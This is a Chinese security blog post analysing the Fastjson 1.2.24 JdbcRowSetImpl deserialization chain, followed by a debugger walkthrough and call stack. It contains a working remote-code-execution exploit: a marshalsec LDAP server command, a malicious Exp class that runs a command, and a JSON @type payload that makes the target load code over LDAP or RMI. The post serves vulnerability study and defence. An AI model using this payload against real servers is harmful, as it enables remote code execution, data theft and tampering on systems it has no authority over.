Fastjson-JdbcRowSetImpl利用链分析

Fastjson-JdbcRowSetImpl利用链分析

JdbcRowSetImpl这条链的实际运用中较为广泛,这个链基本没有限制条件,只需要Json.parse(input)即可进入命令执行

漏洞描述

漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响


利用限制

影响版本:fastjson <= 1.2.24

基于JNDI+RMI或者是JNDI+LDAP进行攻击,对JDK版本限制

RMI利用的JDK版本<=6u132、7u122、8u113

LDAP利用JDK版本<=6u211、7u201、8u191


攻击流程

  1. lookup(URL)可控
  2. 控制URL参数指定一个RMI服务
  3. RMI服务向目标返回一个Reference对象,Reference对象指定某个精心构造的Factory类
  4. 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例
  5. 攻击者可以在Factory类文件的静态代码块写入恶意代码,造成RCE

复现操作

首先我们利用marshalsec启动一个LDAP Server

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exp 1389

Exp

public class Exp {
static {
try {
Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
} catch (IOException e){
e.printStackTrace();
}
}

public static void main(String[] args) {

}
}

使用python挂到网页上

python3 -m http.server

pom.xml

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

对恶意payload,字符串转换对象触发RCE

package com.test;


import com.alibaba.fastjson.JSON;

public class POC {
public static void main(String[] args) {
// String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}

调试分析

对JSON.parse进行断点

我们直接走到deserialze方法上进行反序列化,前面的步骤与我们Fastjson反序列化那篇文章大致是一样的

接下来会对JdbcRowSetImpl进行初始化

在JdbcRowSetImpl构造方法上进行断点,直接跳到这里

parseObject还会去调用set方法,所以我们断点到setDataSourceName、setAutoCommit方法上

调用父类的setDataSourceName

步入setDataSourceName,赋值了dataSource为我们的ldap恶意地址

实现的JdbcRowSetImpl的setDataSourceName方法并且值是ldap恶意地址,接着我们走到setAutoCommit方法下

走进connect方法

InitialContext调用到lookup方法,我们看看传的值

跟进this.getDataSourceName(),可以看到是我们前面传的getDataSourceName的值

成功远程加载命令执行


调用栈

connect:634, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:10, POC (com.test)
上一篇

SpringCloud代码审计思路分析